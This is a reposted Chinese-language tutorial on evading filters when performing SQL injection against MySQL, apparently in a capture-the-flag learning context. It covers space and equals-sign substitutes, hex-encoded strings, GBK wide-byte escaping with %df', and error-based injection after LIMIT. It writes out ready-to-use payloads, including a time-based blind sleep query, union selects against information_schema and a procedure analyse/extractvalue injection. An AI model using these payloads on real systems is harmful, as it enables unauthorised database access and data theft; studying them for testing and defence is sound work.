SQL注入的繞過


一、常用符號的繞過

  1、空格

1 空格代替:+ %20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/
2 括號繞過:常用於基於時間延遲的盲注,例如構造語句: ?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23

  2、“ = ”號

使用like 、rlike 、regexp 、< 或者 > 

  3、字符串無法使用引號

可以用16進制來表示字符串:用編碼轉換工具轉換你要的字符串,前綴 0x 即可。
例如: ?id=1%df' union select table_name from information_schema.tables where table_schema=0x666c6167('flag') %23

  4、寬字節繞過單引號轉義

  在判斷注入點的過程中,加單引號“ ' ”,發現被“ \ ”轉義了,可以嘗試寬字節注入

1 原理:由於mysql的特性,gbk是多字節編碼,它用兩個字節代表一個漢字,所以構造一個字節和后面的“ \ ”也就是%5c變成了一個漢字,“ ' ”就能逃逸出來了。
2 測試:在常規輸入后加入 ' 發現被轉義,改成加入 %df' ,若報錯則可能存在寬字節注入
3 構造:用 %df 來做“ ' ”的前綴,再用常規注入手段就好了
  因為爆庫爆表爆字段過程中要用到字符串,也會用到“ ' ”或“ " ”。所以還會用到上面講的字符串16進制化的繞過方法。
例如:前面不寫了+ ?id=1%df' union select 1,2,table_name from information_schema.tables where table_schema=0x666c6167('flag') limit 0,1 %23

 二、一些特殊情況

  1、Mysql注入點在limit關鍵字后面

  先看看MySQL的查詢語法:

 

select
    [ALL | tDISTINCT | DISTINCTROW ]
      [HIGH_PRIORITY]
      [STRAIGHT_JOIN]
      [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
      [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
    select_expr [, select_expr ...]
    [FROM table_references
    [WHERE where_condition]
    [GROUP BY {col_name | expr | position}
      [ASC | DESC], ... [WITH ROLLUP]]
    [HAVING where_condition]
    [ORDER BY {col_name | expr | position}
      [ASC | DESC], ...]
    [LIMIT {[offset,] row_count | row_count OFFSET offset}]
    [PROCEDURE procedure_name(argument_list)]
    [INTO OUTFILE 'file_name' export_options
      | INTO DUMPFILE 'file_name'
      | INTO var_name [, var_name]]
    [FOR UPDATE | LOCK IN SHARE MODE]]

 

  limit 關鍵字后面還有 procedure 和 into 關鍵字,into 關鍵字可以用來寫文件,procedure可以使用默認的存儲方式 analyse,構造如下,可見是報錯注入。

limit 1, 1 procedure analyse(extractvalue(rand(), concat(0x3a, database())), 1);

  database 函數的位置即可執行sql其他語句

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM